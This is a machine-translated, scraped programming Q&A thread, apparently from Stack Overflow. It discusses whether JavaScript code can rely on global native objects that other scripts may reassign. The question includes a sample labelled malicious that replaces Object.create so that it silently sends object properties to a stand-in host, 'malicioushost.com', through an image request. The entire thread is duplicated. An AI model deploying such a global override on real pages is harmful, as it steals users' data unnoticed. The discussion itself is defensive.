依赖 JavaScript 中的全局原生对象是否安全,尤其是对象对象?
Is it safe to rely on global native objects in JavaScript, particularly the Object one?
首先,我知道依赖 Array
构造函数通常是不受欢迎的,因为它可以被其他代码重新分配,这不是严格模式,而是应该使用数组文字 []
,在那种情况下,他总是依赖于原生的、真实的数组(还有一些其他含义,但这是主要的)
但是Object
如何处理呢?有些方法(create
、freeze
等)只能通过 Object
标识符访问。
我查看了 AngularJS 的源代码,发现作者依赖于这些对象(Object
、Function
)不会被重新分配的假设,所以我'我得出的结论是没有更好的方法。但我想听听更有经验的人的意见。
所以问题是:如何保护旨在与其他 javascript 代码一起使用的自己的代码免受重新分配的全局本机对象的影响?
更新
我的问题是关于安全问题。所以这是关于开发人员不能假设的情况:
- 如果对象被重新分配,那么其他任何东西都无法正常工作,所以不用担心
- 网站管理员会适当地测试他在他的网站上包含的内容
- 如果 Object 有一些方法并且它 returns 是预期的,那么一切正常
请以这种情况为例:
// the malicious code
var oldObj = Object,
Object = {
create: function(proto) {
var secretProps = 'http://malicioushost.com/?'
for (var prop in proto) {
secretProps += encodeURIComponent(prop) + '=' + encodeURIComponent(proto[prop]) + '&'
}
var secretImg = document.createElement('img')
secretImg.src = secretProps
document.body.appendChild(secretImg)
return oldObj.create.call(oldObj, proto)
}
}
// the non-malign code
var foo = Object.create({prop1: 'foo', prop2: 'bar'})
此处 Object.create 的行为与原始行为完全相同
衷心感谢
我不确定语言规范是怎么说的,但据此我认为可能不是。但是,我还要说,如果有人以这种方式弄乱你的 JavaScript 环境,那么你就没有足够一致的环境来完成任何有价值的事情,因此担心它是不值得的.
var d,
origObj,
o1,
o2,
o3;
origObj = Object;
d = document.getElementById('objectorno');
d.innerHTML = Object;
o1 = Object.create({});
d.innerHTML = d.innerHTML + '<br/><br/>' + o1;
Object = null;
d.innerHTML = d.innerHTML + '<br/><br/>' + Object;
o2 = {
aprop: "this is a property of an object"
};
d.innerHTML = d.innerHTML + '<br/><br/>' + o2.aprop;
try {
o3 = Object.create({});
d.innerHTML = d.innerHTML + '<br/><br/>' + o3;
} catch (e){
d.innerHTML = d.innerHTML + '<br/><br/>No more Object.create()';
}
<div id="objectorno"></div>
如果您需要检查本机代码是否实际上是本机代码并且没有被覆盖,您可以在使用它们之前像这样简单地检查它们:
function isFuncNative(f) {
return !!f && (typeof f).toLowerCase() == 'function'
&& (f === Function.prototype
|| /^\s*function\s*(\b[a-z$_][a-z0-9$_]*\b)*\s*\((|([a-z$_][a-z0-9$_]*)(\s*,[a-z$_][a-z0-9$_]*)*)\)\s*{\s*\[native code\]\s*}\s*$/i.test(String(f)));
}
然后
if (isFuncNative(Object.create)){
// Use Object.create
} else {
alert("You naughty boy!");
}
First, I know, that relying on the Array constructor is usually frowned because it can be reassigned by other code
不。 Array
构造函数不受欢迎的原因是因为它比仅仅说 []
不必要地冗长,而且接口令人困惑地不一致。 (具体来说,如果 x
是数字,new Array(x).length
就是 x
,而对于任何其他类型,1
......呃。)
有一些库试图获取它们自己的某些全局变量的副本,以便在宿主页面碰巧定义了自己的名为 Object
或 undefined
的变量时它们仍然可以工作,但事实并非如此无论如何水密。
How to protect own code intended to be used abreast with other javascript code from reassigned global native objects?
这不是一个可以解决的问题。 JavaScript 没有提供足够的工具来建立有效的安全边界。几乎所有对象、方法和属性都可以被破坏。
(在语言级别,无论如何......使用浏览器,您可以使用跨域 frames/sandbox、postMessage
等将代码保存在不同的上下文中。但是,如果用户正在与之交互的界面元素发生在受感染的顶级页面上,它仍然不太可能有太大帮助。)
首先,我知道依赖 Array
构造函数通常是不受欢迎的,因为它可以被其他代码重新分配,这不是严格模式,而是应该使用数组文字 []
,在那种情况下,他总是依赖于原生的、真实的数组(还有一些其他含义,但这是主要的)
但是Object
如何处理呢?有些方法(create
、freeze
等)只能通过 Object
标识符访问。
我查看了 AngularJS 的源代码,发现作者依赖于这些对象(Object
、Function
)不会被重新分配的假设,所以我'我得出的结论是没有更好的方法。但我想听听更有经验的人的意见。
所以问题是:如何保护旨在与其他 javascript 代码一起使用的自己的代码免受重新分配的全局本机对象的影响?
更新
我的问题是关于安全问题。所以这是关于开发人员不能假设的情况:
- 如果对象被重新分配,那么其他任何东西都无法正常工作,所以不用担心
- 网站管理员会适当地测试他在他的网站上包含的内容
- 如果 Object 有一些方法并且它 returns 是预期的,那么一切正常
请以这种情况为例:
// the malicious code
var oldObj = Object,
Object = {
create: function(proto) {
var secretProps = 'http://malicioushost.com/?'
for (var prop in proto) {
secretProps += encodeURIComponent(prop) + '=' + encodeURIComponent(proto[prop]) + '&'
}
var secretImg = document.createElement('img')
secretImg.src = secretProps
document.body.appendChild(secretImg)
return oldObj.create.call(oldObj, proto)
}
}
// the non-malign code
var foo = Object.create({prop1: 'foo', prop2: 'bar'})
此处 Object.create 的行为与原始行为完全相同
衷心感谢
我不确定语言规范是怎么说的,但据此我认为可能不是。但是,我还要说,如果有人以这种方式弄乱你的 JavaScript 环境,那么你就没有足够一致的环境来完成任何有价值的事情,因此担心它是不值得的.
var d,
origObj,
o1,
o2,
o3;
origObj = Object;
d = document.getElementById('objectorno');
d.innerHTML = Object;
o1 = Object.create({});
d.innerHTML = d.innerHTML + '<br/><br/>' + o1;
Object = null;
d.innerHTML = d.innerHTML + '<br/><br/>' + Object;
o2 = {
aprop: "this is a property of an object"
};
d.innerHTML = d.innerHTML + '<br/><br/>' + o2.aprop;
try {
o3 = Object.create({});
d.innerHTML = d.innerHTML + '<br/><br/>' + o3;
} catch (e){
d.innerHTML = d.innerHTML + '<br/><br/>No more Object.create()';
}
<div id="objectorno"></div>
如果您需要检查本机代码是否实际上是本机代码并且没有被覆盖,您可以在使用它们之前像这样简单地检查它们:
function isFuncNative(f) {
return !!f && (typeof f).toLowerCase() == 'function'
&& (f === Function.prototype
|| /^\s*function\s*(\b[a-z$_][a-z0-9$_]*\b)*\s*\((|([a-z$_][a-z0-9$_]*)(\s*,[a-z$_][a-z0-9$_]*)*)\)\s*{\s*\[native code\]\s*}\s*$/i.test(String(f)));
}
然后
if (isFuncNative(Object.create)){
// Use Object.create
} else {
alert("You naughty boy!");
}
First, I know, that relying on the Array constructor is usually frowned because it can be reassigned by other code
不。 Array
构造函数不受欢迎的原因是因为它比仅仅说 []
不必要地冗长,而且接口令人困惑地不一致。 (具体来说,如果 x
是数字,new Array(x).length
就是 x
,而对于任何其他类型,1
......呃。)
有一些库试图获取它们自己的某些全局变量的副本,以便在宿主页面碰巧定义了自己的名为 Object
或 undefined
的变量时它们仍然可以工作,但事实并非如此无论如何水密。
How to protect own code intended to be used abreast with other javascript code from reassigned global native objects?
这不是一个可以解决的问题。 JavaScript 没有提供足够的工具来建立有效的安全边界。几乎所有对象、方法和属性都可以被破坏。
(在语言级别,无论如何......使用浏览器,您可以使用跨域 frames/sandbox、postMessage
等将代码保存在不同的上下文中。但是,如果用户正在与之交互的界面元素发生在受感染的顶级页面上,它仍然不太可能有太大帮助。)